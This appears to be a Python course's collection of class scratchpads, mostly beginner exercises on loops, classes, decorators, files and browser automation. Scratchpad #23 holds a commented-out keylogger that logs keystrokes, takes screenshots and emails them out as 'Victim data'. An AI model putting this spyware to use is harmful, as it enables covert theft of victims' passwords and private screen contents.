Lab guidePython

Python Daily Evening Jan 2023

Last updated 5 December 2023

Python Daily Evening Jan 2023

Scratchpad #4

# name = input("Please enter your name: ")

# if name == "Steve Jobs":
#     print("Hello Steve")
# elif name == "Steve Wozniak":
#     print("Hello Steve GOAT")
# elif name == "Adani":
#     print("Hello Chor <- By Soham")
# else:
#     print("I don't know you")

# age = int(input("Please enter your age: "))

# if age >= 65:
#     print("Drinks are free")
# elif age >= 21:
#     print("You can enter and you can drink")
# elif age >= 18:
#     print("You can enter but you cannot drink")
# else:
#     print("Not allowed")

# is_logged_in = None

# if is_logged_in:
#     print("Welcome to your dashboard")
# else:
#     print("Access denied. Please login to access dashboard.")

# age = int(input("Please enter your age: "))

# if age >= 18 and age < 21:
#     print("You can enter but you cannot drink")
# elif age >= 21 and age < 65:
#     print("You can enter and you can drink")
# elif age >= 65:
#     print("Drinks are free")
# else:
#     print("Not allowed")

# age = input("Please enter your age: ")

# if age:
#     age = int(age)

#     if age >= 18 and age < 21:
#         print("You can enter but you cannot drink")
#     elif age >= 21 and age < 65:
#         print("You can enter and you can drink")
#     elif age >= 65:
#         print("Drinks are free")
#     else:
#         print("Not allowed")

# else:
#     print("Please enter a valid age.")

# player1 = input("Enter player1's choice: ")
# player2 = input("Enter player2's choice: ")

# if (player1 == 'rock' and player2 == 'scissors') or (
#         player1 == 'paper' and player2 == 'rock') or (player1 == 'scissors'
#                                                       and player2 == 'paper'):
#     print("Player 1 wins")
# elif (player2 == 'rock' and player1 == 'scissors') or (
#         player2 == 'paper' and player1 == 'rock') or (player2 == 'scissors'
#                                                       and player1 == 'paper'):
#     print("Player 2 wins")
# elif player1 == player2:
#     print("It's a draw")
# else:
#     print("Something went wrong")

# name = "John Doe"

# for x in name:
#     print(x)

# for num in range(0, 20):
#     print(f"{num} - hello world")

# for num in range(1, 11, 3):
#     print(num)

for num in range(0, 10, -2):
    print(num)

Scratchpad #5

# # for num in range(1, 21):
# #     if num == 5 or num == 16:
# #         print(f"FIZZBUZZ")
# #     elif num % 2 == 0:
# #         print(f"{num} - Fizz is even")
# #     elif num % 2 != 0:
# #         print(f"{num} - Fizz is odd")

# # password = input("Please enter your password: ")

# # while password != 'testpass':
# #     print("Incorrect Password! Please try again.")
# #     password = input("Please enter your password again: ")

# # for num in range(10):
# #     print(num)

# # count = 0
# # while count < 10:
# #     print(count)
# #     count += 1

# # password = input("Please enter your password: ")

# # while password != 'testpass':
# #     if password == 'quit':
# #         break
# #     print("Incorrect Password! Please try again.")
# #     password = input("Please enter your password again: ")

# # while True:
# #     if password == 'testpass':
# #         break

# #     print("Incorrect Password! Please try again.")
# #     password = input("Please enter your password again: ")

# while True:
#     player1 = input("Enter player1's choice: ")
#     player2 = input("Enter player2's choice: ")

#     if (player1 == 'rock' and player2 == 'scissors') or (
#             player1 == 'paper'
#             and player2 == 'rock') or (player1 == 'scissors'
#                                        and player2 == 'paper'):
#         print("Player 1 wins")
#     elif (player2 == 'rock' and player1 == 'scissors') or (
#             player2 == 'paper'
#             and player1 == 'rock') or (player2 == 'scissors'
#                                        and player1 == 'paper'):
#         print("Player 2 wins")
#     elif player1 == player2:
#         print("It's a draw")
#     else:
#         print("Something went wrong")

#     play_again = input("Do you want to play again (yes/no): ")
#     if play_again != 'yes':
#         break

langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

for lang in langs:
    print(lang.upper())

Scratchpad #6

# # # nums = [1, 2, 3, 4, 5, 6]

# # # doubles = []
# # # doubles2 = [num * 3 for num in nums]

# # # for num in nums:
# # #     doubles.append(num * 2)

# # # print(doubles)
# # # print(doubles2)

# # nums = [1, 2, 3, 4, 5, 6]

# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# # total = 0

# # for lst in nested_list:
# #     for num in lst:
# #         total += num

# # print(total)

# nested_list = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]],
#                [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
#                [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]

# # loop over -> print all the numbers
# # loop over and total all the numbers
# # 2 vars. evens, odds, -> loop over

# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# # i = 0

# # while i < len(nested_list):
# #     print(nested_list[i])
# #     i += 1

# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# i = 0
# while i < len(nested_list):
#     j = 0
#     while j < len(nested_list[i]):
#         print(nested_list[i][j])
#         j += 1
#     i += 1

nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

results = [[num * 2 if num % 2 == 0 else num / 2 for num in lst]
           for lst in nested_list]
print(results)

Scratchpad #7 and #8

# product = [
#     64, 128, True, "DDR4", "AMD Ryzen Threadripper 3990X", 333999.00, True
# ]

# product = {
#     "no_of_cores": 64,
#     "no_of_threads": 128,
#     "unlocked": True,
#     "memory_type": "DDR4",
#     "name": "AMD Ryzen Threadripper 3990X",
#     "price": 333999.00,
#     1: True
# }

# print(product["name"])

# "50000" -> "5,00,000"

product = {
    "no_of_cores": 64,
    "no_of_threads": 128,
    "unlocked": True,
    "memory_type": "DDR4",
    "name": "AMD Ryzen Threadripper 3990X",
    "price": 333999.0,
}

# for key in product.keys():
#     print(key, product[key])

# for item in product.items():
#     print(item, item[0], item[1])

# for key, value in product.items():
#     print(key, value)


# def greet():
#     print("Hello world")
#     print("Goodbye World")

# greet()
# greet()
# greet()
# greet()
# greet()
# greet()

from random import random


def flip_coin():
    if random() > 0.5:
        print("hello world")
        return "HEADS"
    else:
        return "TAILS"


print(flip_coin())

Scratchpad #9

# def add(a, b):
#     return a + b

# print(add(10, 5))

# def add_number(nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# print(add_number([1, 2, 3, 4, 5, 6, 7, 8]))

# def is_odd(num):
#     if num % 2 != 0:
#         return True
#     return False

# print(is_odd(9))

# def multiply(a=1, b=1):
#     return a * b

# print(multiply())

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(a, b, fn=add):
#     return fn(a, b)

# print(math(10, 5, sub))

# # hello = add

# print(hello(10, 5))

# def greet(first_name, last_name, message):
#     print(f"{message}, {first_name} {last_name}")

# greet(message="Hello", first_name="John", last_name="Doe")

# name = "John Doe"

# def greet():
#     name = "Jane Smith"
#     print(name)

# greet()

# # print(name)

# total = 0

# def func():  # has a side-effect
#     global total
#     total += 1
#     print(total)

# func()

# def outer():
#     count = 0

#     def inner():
#         nonlocal count
#         count += 1
#         print(count)

#     inner()

# outer()


def multiply(a=1, b=1):
    """A function that multiplies two numbers"""
    return a * b


print(multiply.__doc__)

Scratchpad #10

# import random

# SUITS_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
#               "Queen", "King")
# NCARDS = 8

# def get_card(deck_list_in):
#     this_card = deck_list_in.pop()
#     return this_card

# def shuffle(deck_list_in):
#     deck_list_out = deck_list_in.copy()
#     random.shuffle(deck_list_out)
#     return deck_list_out

# print("Welcome to higher or lower")
# print(
#     "You have to choose whether the next card to be shown will be higher or lower than the current card"
# )
# print(
#     "Getting it right adds 20 points; get it wrong and you will lose 15 points"
# )
# print("You have 50 points to start")
# print()

# starting_deck_list = []

# for suit in SUITS_TUPLE:
#     for this_value, rank in enumerate(RANK_TUPLE):
#         card_dict = {"rank": rank, "suit": suit, "value": this_value}
#         starting_deck_list.append(card_dict)

# score = 50

# while True:
#     print()
#     game_deck_list = shuffle(starting_deck_list)
#     current_card_dict = get_card(game_deck_list)
#     current_card_rank = current_card_dict["rank"]
#     current_card_suit = current_card_dict["suit"]
#     current_card_value = current_card_dict["value"]
#     print(f"Starting card is {current_card_rank} of {current_card_suit}")
#     print()

#     for card_number in range(0, NCARDS):
#         answer = input(
#             f"Will the next card be higher or lower than {current_card_rank} of {current_card_suit}? (enter h or l): "
#         )
#         answer = answer.casefold()
#         next_card_dict = get_card(game_deck_list)
#         next_card_rank = next_card_dict["rank"]
#         next_card_suit = next_card_dict["suit"]
#         next_card_value = next_card_dict["value"]
#         print(f"Next card is {next_card_rank} of {next_card_suit}")

#         if answer == 'h':
#             if next_card_value > current_card_value:
#                 print("You got it right, it was higher")
#                 score += 20
#             else:
#                 print("Sorry, it was not higher")
#                 score -= 15
#         elif answer == 'l':
#             if next_card_value < current_card_value:
#                 print("You got it right, it was lower")
#                 score += 20
#             else:
#                 print("Sorry, it was not lower")
#                 score -= 15

#         print(f"Your score is: {score}")
#         print()
#         current_card_rank = next_card_rank
#         current_card_suit = next_card_suit
#         current_card_value = next_card_value

#     go_again = input("To play again, press ENTER, or 'q' to quit: ")
#     if go_again == 'q':
#         break

# print("Thank you for playing. Good bye.")

# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# print(add(10, 4, 234, 5, 1))

# def profile(**values):
#     print(values)

# profile(hello="world", first_name="john", last_name="doe")

# def show_info(a, b, *args, role="moderator", **kwargs):
#     return [a, b, args, role, kwargs]

# print(
#     show_info(
#         10,
#         20,
#         30,
#         40,
#         50,
#         60,
#         hello="world",
#         test="info",
#         role="admin",
#     ))

# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
# print(add(*data))

# def say_name(first, last):
#     print(f"My name is {first} {last}.")

# name = {"first": "Robert", "last": "Moore"}

# say_name(**name)

# make_capitalize("hello world, this is something") -> "Hello World, This Is Something"
# get_negatives(1,-2,34,5,-6,7,-87,342) -> [-2,-6,-87]
# find_and_replace("hello world, hello again", "hello", "namaste") -> "namaste world, namaste again"

Scratchpad #11

# # # # # def add(a, b):
# # # # #     return a + b

# # # # # hello = add

# # # # # print(hello(10, 2))

# # # # # add = lambda a, b: a + b

# # # # # print(add(10, 5))

# # # # def math(a, b, fn):
# # # #     return fn(a, b)

# # # # def add(a, b):
# # # #     return a + b

# # # # def sub(a, b):
# # # #     return a - b

# # # # # print(math(10, 5, sub))
# # # # print(math(10, 5, lambda a, b: a - b))

# # # nums = [7, 3, 3, 2, 1, 6]

# # # # evens = [num for num in nums if num % 2 == 0]
# # # evens = filter(lambda num: num % 2 == 0, nums)
# # # print(list(evens))

# # # # doubles = [num * 2 for num in nums]
# # # # print(doubles)

# # # # doubles2 = map(lambda num: num * 2, nums)
# # # # print(list(doubles2))

# # names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']

# # print(
# #     list(
# #         map(lambda name: f"The one who wins is {name}",
# #             filter(lambda name: len(name) < 5, names))))

# def colorize(text, color):
#     colors = ('red', 'blue', 'green', 'white', 'purple', 'orange')

#     if type(text) != str:
#         raise TypeError('Text has to be a string')
#     if color not in colors:
#         raise Exception("This color is not allowed")

#     print(f"{text} in {color}")

# colorize("Hello World", "navy blue")

Scratchpad #12

# # def colorize(text, color):
# #     colors = ('red', 'blue', 'green', 'white', 'purple', 'orange')

# #     if type(text) != str:
# #         raise TypeError('Text has to be a string')
# #     if color not in colors:
# #         raise ValueError("This color is not allowed")

# #     print(f"{text} in {color}")

# # try:
# #     colorize("Hello World", "navy blue")
# # except (TypeError, ValueError) as err:
# #     print(err)
# #     # print("Something went wrong")

# # try:
# #     colorize("Hello World", "navy blue")
# # except Exception as err:
# #     print(err)
# #     # print("Something went wrong")

# # print("I am running after the colorize call")

# def div(a, b):
#     return a / b

# try:
#     result = div(10, "5")
# except Exception as err:
#     print(err)
# else:
#     print(result)
# finally:
#     print("I will always run no matter success or failure")

# import random as r

# def random():
#     return "hello world"

# print(r.random())
# print(r.randint(10, 50))

# from random import random, randint
# # from random import *

# print(random())
# print(randint(10, 50))

# print(round(10.6))

# function round -> rounding
# function random(100) -> 1 and 100

# def make_user(first_name, last_name, age, email, phone, password):
#     return {
#         "first_name": first_name,
#         "last_name": last_name,
#         "age": age,
#         "email": email,
#         "phone": phone,
#         "password": password
#     }

# def login(user, password):
#     if password == user["password"]:
#         return True
#     raise ValueError("Incorrect password")

# def logout(user):
#     print(f"{user['email']} as successfully logged out")
#     return True

# user1 = make_user("Kim", "Kardashian", 41, "kim@kanyewest.com",
#                   "+1 12345 1234", "east")

# login(user1, "east")

# print(user1)


def user(first_name, last_name, age, email, phone, password):
    data = {
        "first_name": first_name,
        "last_name": last_name,
        "age": age,
        "email": email,
        "phone": phone,
        "password": password,
    }

    def login(password):
        if password == data["password"]:
            return True
        raise ValueError("Incorrect password")

    def logout():
        print(f"{data['email']} as successfully logged out")
        return True

    return {**data, "login": login, "logout": logout}


user1 = user("Kim", "Kardashian", 41, "kim@kanyewest.com", "+1 12345 1234",
             "east")

print(user1["login"]("east"))


class User:

    def __init__(self, first_name, last_name, age, email, phone, password):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age
        self.email = email
        self.phone = phone
        self.password = password

    def login(self, password):
        if password == self.password:
            return True
        raise ValueError("Incorrect password")

    def logout(self):
        print(f"{self.email} as successfully logged out")
        return True


kim = User("Kim", "Kardashian", 41, "kim@kanyewest.com", "+1 12345 1234",
           "east")
jong = User("Kim", "Kardashian", 41, "kim@kanyewest.com", "+1 12345 1234",
            "east")

print(kim.login("east"))
print(jong.login("east"))

print(type(kim))

Scratchpad #14

class User:
    total_users = 0

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.city = "Mumbai"
        User.total_users += 1

    def greet(self):
        return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old."

    def get_age(self):
        print("RUN SOME OTHER LOGIC")
        return self._age

    def set_age(self, new_age):
        self._age = new_age
        return self._age


user1 = User("John", "Doe", 20)
user2 = User("John", "Smith", 35)
user3 = User("John", "Smith", 35)

print(User.total_users)

# print(user1.last_name)
# user2.age = 30
# print(user2.age)

# print(user1.greet())
# print(user2.greet())
# print(user1.get_age())

Scratchpad #15

# # class User:
# #     total_users = 0

# #     def __init__(self, first_name, last_name, age):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self._age = age
# #         self.city = "Mumbai"
# #         User.total_users += 1

# #     def __repr__(self):
# #         return f"{self.first_name} {self.last_name}"

# #     @classmethod
# #     def get_total_users(cls):
# #         return cls.total_users

# #     def greet(self):
# #         return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# #     def get_age(self):
# #         print("RUN SOME OTHER LOGIC")
# #         return self._age

# #     def set_age(self, new_age):
# #         self._age = new_age
# #         return self._age

# # user1 = User("John", "Doe", 20)
# # # user2 = User("Jane", "Smith", 35)

# # # # print(User.get_total_users())

# # # print(user1)

# # class Admin(User):

# #     def create_group(self, group_name):
# #         return f"{group_name} was created"

# # admin1 = Admin("Jack", "Smith", 30)

# # print(admin1.get_age())
# # print(admin1.create_group("hello world"))
# # print(user1.create_group("hello world"))

# # class User:

# #     def __init__(self, first_name, last_name, age):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self._age = age

# #     @property
# #     def age(self):
# #         return self._age

# #     @age.setter
# #     def age(self, new_age):
# #         self._age = new_age

# #     def get_age(self):
# #         return self._age

# #     def set_age(self, new_age):
# #         self._age = new_age
# #         return self._age

# # user1 = User('John', 'Doe', 20)

# # user1.age = 45
# # print(user1.age)

# # print(user1.set_age(10))
# # print(user1.get_age())

# # class Admin(User):

# #     def __init__(self, first_name, last_name, age, phone):
# #         super().__init__(first_name, last_name, age)
# #         self.phone = phone

# # admin1 = Admin('Jane', 'Smith', 20, '123456')

# # print(admin1.phone)

# # class Human:

# #     def __init__(self, name):
# #         self.name = name

# #     def speak(self):
# #         print("Hello World")

# # class Animal:

# #     def __init__(self, name):
# #         self.name = name

# #     def speak(self):
# #         print("asjkndkjasndansd")

# # class Mutant(Animal, Human):

# #     def __init__(self, name):
# #         self.name = name

# # john = Human("John Doe")
# # tom = Animal("Tommy")
# # witcher = Mutant("Geralt")

# # witcher.speak()

# class User:

#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self._age = age

#     def __len__(self):
#         return self._age

#     def __add__(self, obj):
#         return User("new", "born", 0)

#     def greet(self):
#         return "Hello World"

# class Admin(User):

#     def greet(self):
#         return "Hello Universe"

# user1 = User("Jane", "Smith", 20)
# user2 = User("John", "Smith", 20)
# admin1 = Admin("John", "Doe", 20)

# # print(user1.greet())
# # print(admin1.greet())

# print(len(user1))
# print(user1 + user2)

# a = [1, 2, 3, 4, 5]

# for num = iter(a) in a:
#     print(next(num))

Scratchpad 16

# # # a = [1, 2, 3, 4]

# # # def my_map(func, iterable):
# # #     iterator = iter(iterable)

# # #     while True:
# # #         try:
# # #             func(next(iterator))
# # #         except StopIteration:
# # #             break

# # # my_map(lambda num: print(num), a)

# # # for num in range(100):
# # #     print(num)

# # class Counter:

# #     def __init__(self, start, end, step=1):
# #         self.start = start
# #         self.end = end
# #         self.step = step

# #     def __repr__(self):
# #         return f"Counter({self.start}, {self.end}, {self.step})"

# #     def __iter__(self):
# #         return self

# #     def __next__(self):
# #         if self.start < self.end:
# #             num = self.start
# #             self.start += self.step
# #             return num
# #         else:
# #             raise StopIteration

# # # for num in Counter(10, 50, 5):
# # #     print(num)
# # r = range(0, 50, 5)
# # c = Counter(10, 50, 5)

# # print(r)
# # print(c)

# # # for num = next(a) in a = iter(Counter(0, 100)):
# # #     print(num)

# # def counter(start, end, step=1):
# #     count = start
# #     while count < end:
# #         yield count
# #         count += step

# # result = counter(0, 10, 2)

# # for num in result:
# #     print(num)

# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums

# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1

# # a   b   nums
# # 0   1   [1, ]
# # 1   1   [1, 1, ]
# # 1   2   [1, 1, 2, ]
# # 2   3   [1, 1, 2, 3, ]

# # print(fib_list(100000000000))  # [1, 1, 2, 3]

# for num in fib_gen(100000000000):
#     print(num)

import time

gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_stop_time = time.time() - gen_start_time

print(f"Gen Time: {gen_stop_time}")

list_start_time = time.time()
print(sum([num for num in range(100000000)]))
list_stop_time = time.time() - list_start_time

print(f"List Time: {list_stop_time}")

Scratchpad #17

# # def sum(n, func):
# #     total = 0
# #     for num in range(n):
# #         total += func(num)
# #     return total

# # print(sum(10, lambda num: num**3))

# import random

# def greet(person):

#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()} {person}"
#     return result

# print(greet("John"))

# import random

# def make_greet_func(person):

#     def make_message():
#         msg = random.choice(
#             ["Hey", "What!", "What the heck do you want!", "Get lost!"])
#         return f"{msg} {person}"

#     return make_message

# result1 = make_greet_func("John")
# result2 = make_greet_func("Jane")

# print(result1())
# print(result2())

# def stars(fn):

#     def wrapper():
#         print("*" * 10)
#         fn()
#         print("*" * 10)

#     return wrapper

# @stars  # greet = stars(greet)
# def greet():
#     print("Hello World")

# # greet = stars(greet)

# greet()

from functools import wraps


def make_upper_case(fn):
    """Decorator that uppercases the returned string"""

    @wraps(fn)
    def wrapper(*args, **kwargs):
        """Wrapper function"""
        return fn(*args, **kwargs).upper()

    return wrapper


@make_upper_case
def greet(person):
    return f"Hello, {person}"


# greet = wrapper(name) # accepts 1 arg


@make_upper_case  # greet2 = wrapper(name)
def greet2(person, message):
    """Function that accepts a person and a message prints it"""
    return f"{message}, {person}"


# print(greet("John"))
# print(greet2("John", "Hi"))

print(greet2.__doc__)

Scratchpad #19

from functools import wraps

# def stars(fn):

#     @wraps(fn)  # wrapper = wraps(wrapper)
#     def wrapper(*arg, **kwargs):
#         print("*" * 10)
#         fn(*arg, **kwargs)
#         print("*" * 10)

#     return wrapper

# @stars  # greet = stars(greet) => wrapper
# def greet(person):
#     print(f"Hello {person}")

# greet("John")

# def ensure_first_arg_is(val):

#     def inner(fn):

#         def wrapper(*args, **kwargs):
#             if args and args[0] != val:
#                 raise ValueError(f"First arg needs to be {val}")
#             else:
#                 return fn(*args, **kwargs)

#         return wrapper

#     return inner

# # fav_movies = ensure_first_arg_is("the matrix")(fav_movies)

# @ensure_first_arg_is("the matrix")
# def fav_movies(*movies):
#     print(movies)

# fav_movies("the matrix", "3 idiots", "pathan", "sultan", "avatar", "8 mile")


def enforce(*types):

    def inner(fn):

        def wrapper(*args, **kwargs):
            new_args = []  # ['hello world', 10]
            for a, t in zip(args,
                            types):  # [('hello world', str), ('10', int)]
                try:
                    new_args.append(t(a))
                except (ValueError, TypeError):
                    print("Something went wrong")
                    return "Something went wrong"
            return fn(*new_args)

        return wrapper

    return inner


@enforce(str, int)
def announce(msg, times):
    print((msg + "\n") * times)


announce(True, 'asdasd')

Scratchpad #20

# file = open("hello.txt")
# print(file.read())
# file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print(file.closed)

# with open("hello.txt", "r+") as file:
#     file.write("Hello World " * 20)
#     file.seek(0)
#     file.write("THIS IS SOME NEW CONTENT")

from csv import reader, DictReader, writer, DictWriter

# with open("hello.csv") as file:
#     csv_reader = reader(file)
#     for row in csv_reader:
#         print(row)

# with open("hello.csv") as file:
#     contents = file.read()
#     result = [row.split(",") for row in contents.split("\n")]
#     print(result)

# with open("hello.csv") as file:
#     csv = DictReader(file)
#     print(list(csv))

# with open("pokemon.csv", "w", newline="") as file:
#     csv_writer = writer(file)

#     csv_writer.writerow(["Name", "Type"])
#     csv_writer.writerow(["Pikachu", "Electric"])
#     csv_writer.writerow(["Balbasaur", "Grass"])

# with open("pokemon.csv", "w", newline="") as file:
#     headers = ["Name", "Type", "Abilities"]
#     csv_writer = DictWriter(file, fieldnames=headers)
#     csv_writer.writeheader()
#     csv_writer.writerow({
#         "Abilities": "Thundershock",
#         "Name": "Pikachu",
#         "Type": "Electric",
#     })

import pickle


class User:

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def __repr__(self):
        return self.first_name

    def greet(self):
        print(f"Hello World. I am {self.first_name}")


# user1 = User("john", "doe", 20)
# user2 = User("jane", "doe", 39)

# user1.greet()
# print(user1.__dict__)

# with open("user-data.pickle", "wb") as file:
#     pickle.dump((user1, user2), file)

with open("user-data.pickle", "rb") as file:
    restore_users = pickle.load(file)
    # restore_user1.greet()
    print(restore_users)

Scratchpad #21

# import json
# import jsonpickle


# class User:
#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.age = age

#     def __repr__(self):
#         return self.first_name

#     def greet(self):
#         print(f"Hello World. I am {self.first_name}")


# # user1 = User("john", "doe", 20)

# # # print(json.dumps(user1.__dict__))

# # with open("data.json", "w") as file:
# #     stored = jsonpickle.encode(user1)
# #     file.write(stored)


# with open("data.json") as file:
#     contents = file.read()
#     restored = jsonpickle.decode(contents)
#     print(restored)
#     restored.greet()

import re

# pattern = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}")
# # result = pattern.search("Hello call us on +91 022 23456789 or +91 022 83456789")
# # print(result.group())
# result = pattern.findall("Hello call us on +91 022 23456789 or +91 022 83456789")
# print(result)


# def extract_phone(input):
#     phone_regex = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}")
#     match = phone_regex.search(input)
#     if match:
#         return match.group()
#     return None


# print(extract_phone("Hello call us on +91 022 23456789 or +91 022 83456789"))


def is_valid_phone(input):
    phone_regex = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}")
    match = phone_regex.fullmatch(input)
    if match:
        return True
    return False


print(is_valid_phone("+91 022 23456789"))

Scratchpad #22

# from datetime import datetime
# import threading
# import multiprocessing


# def dummy_func(x):
#     print(f"Job-{x} started: {datetime.now()}")
#     a = []
#     for i in range(40000):
#         for j in range(2000):
#             a.append([i, j])
#             a.clear()
#     print(f"Job-{x} ended: {datetime.now()}")


# # start_time = datetime.now()
# # dummy_func(1)
# # dummy_func(2)
# # dummy_func(3)
# # dummy_func(4)
# # print(f"Total time taken: {datetime.now() - start_time}")

# if __name__ == "__main__":
#     # t1 = threading.Thread(target=dummy_func, args=(1,))
#     # t2 = threading.Thread(target=dummy_func, args=(2,))
#     # t3 = threading.Thread(target=dummy_func, args=(3,))
#     # t4 = threading.Thread(target=dummy_func, args=(4,))

#     # start_time = datetime.now()
#     # t1.start()
#     # t2.start()
#     # t3.start()
#     # t4.start()
#     # t1.join()
#     # t2.join()
#     # t3.join()
#     # t4.join()
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     p1 = multiprocessing.Process(target=dummy_func, args=(1,))
#     p2 = multiprocessing.Process(target=dummy_func, args=(2,))
#     p3 = multiprocessing.Process(target=dummy_func, args=(3,))
#     p4 = multiprocessing.Process(target=dummy_func, args=(4,))

#     start_time = datetime.now()
#     p1.start()
#     p2.start()
#     p3.start()
#     p4.start()
#     p1.join()
#     p2.join()
#     p3.join()
#     p4.join()
#     print(f"Total time taken: {datetime.now() - start_time}")

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By

# from time import sleep

# browser = webdriver.Chrome("chromedriver.exe")
# browser.maximize_window()

# browser.get("https://www.youtube.com/")
# search_box = browser.find_element(
#     By.XPATH,
#     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input",
# )
# search_box.click()
# search_box.send_keys("flash trailer", Keys.ENTER)
# sleep(3)
# # video = browser.find_element(
# #     By.XPATH,
# #     "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string",
# # )
# # video.click()
# # sleep(5)
# # video = browser.find_element(By.PARTIAL_LINK_TEXT, "Marvel Studio")
# # sleep(1)
# # video.click()

# # ------------------------------------


# sleep(5)
# browser.close()

from time import sleep

browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()

browser.get("https://web.whatsapp.com/")
sleep(35)

search_box = browser.find_element(
    By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]"
)
search_box.click()
search_box.send_keys("PYTHON EVENING RS 20/1/23", Keys.ENTER)

sleep(1)


for i in range(20):
    message_box = browser.find_element(
        By.XPATH,
        "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]",
    )
    sleep(1)
    message_box.click()
    message_box.send_keys("TEST MESSAGE FROM PYTHON", Keys.ENTER)

# browser.close()

Scratchpad #24

# import paramiko

# HOST = ""
# USER = ""
# PASSWORD = ""

# ssh = paramiko.SSHClient()

# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# ssh.connect(HOST, username=USER, password=PASSWORD)

# stdin, stdout, stderr = ssh.exec_command("sudo apt-get update")
# print(stdout.read().decode())

# stdin, stdout, stderr = ssh.exec_command("sudo apt-get install -y apache2")
# print(stdout.read().decode())

# html = "<html><body><h1>HELLO WORLD FROM PYTHON SCRIPT!</h1></body></html>"

# stdin, stdout, stderr = ssh.exec_command(
#     f"echo '{html}' | sudo tee /var/www/html/index.html"
# )
# print(stdout.read().decode())

# stdin, stdout, stderr = ssh.exec_command("sudo service apache2 start")
# print(stdout.read().decode())

# ssh.close()

# ---------------------------

# import pyautogui
# import os
# import time

# filename = "example.txt"
# content = "HELLO WORLD FROM PYTHON!"

# pyautogui.press("winleft")
# pyautogui.write("notepad")
# pyautogui.press("enter")
# time.sleep(1)

# pyautogui.write(content)
# pyautogui.hotkey("ctrl", "s")
# pyautogui.write(filename)
# pyautogui.press("enter")
# time.sleep(1)
# pyautogui.press("enter")

# print(f"Successfully created file in Downloads folder.")

# ---------------------------------------------

# from pytube import YouTube

# video_url = input("Enter the YouTube video URL: ")

# yt = YouTube(video_url)
# stream = yt.streams.get_highest_resolution()

# stream.download()

# print(f"Successfully downloaded")

# ---------------------------------------------

Scratchpad #23

# from pynput.keyboard import Key, Listener
# import pyautogui
# from time import sleep
# from datetime import datetime
# import yagmail

# count = 0
# keys = []

# try:

#     def on_press(key):
#         global keys, count
#         keys.append(key)
#         count += 1
#         if count >= 10:
#             write_file(keys)
#             keys = []

#     def write_file(keys):
#         with open("log.txt", "a") as f:
#             for key in keys:
#                 k = str(key).replace("'", "")
#                 if k.find("space") > 0:
#                     f.write(str(" "))
#                 elif k.find("cap_lock") > 0:
#                     f.write(str("<CAPS_LOCK>"))
#                 elif k.find("enter") > 0:
#                     f.write("\n")
#                 elif k.find("Key") == -1:
#                     f.write(k)

#     def on_release(key):
#         if key == Key.esc:
#             return False

#     def take_screenshot():
#         screen = pyautogui.screenshot()
#         screen.save("screenshot.png")

#     def send_email():
#         receiver_email = ""

#         subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
#         yag = yagmail.SMTP("", "")
#         contents = ["<b><font color='red'>Your Victim Data</font></b>"]
#         attachments = ["log.txt", "screenshot.png"]
#         yag.send(receiver_email, subject, contents, attachments)
#         print("Email sent")

#     with Listener(on_press=on_press, on_release=on_release) as listener:
#         while True:
#             sleep(30)
#             take_screenshot()
#             send_email()
#         listener.join()
# except KeyboardInterrupt:
#     print("Program closed")


# from bs4 import BeautifulSoup

# data = """
# <!DOCTYPE html>
# <html lang="en">
# 	<head>
# 		<meta charset="UTF-8" />
# 		<title>My App</title>
# 	</head>
# 	<body>
# 		<h1>Hello World</h1>
# 		<h2 class="test">Hello World</h2>
# 		<p id="hello">
# 			Lorem ipsum dolor, sit amet consectetur adipisicing elit. Quisquam quidem
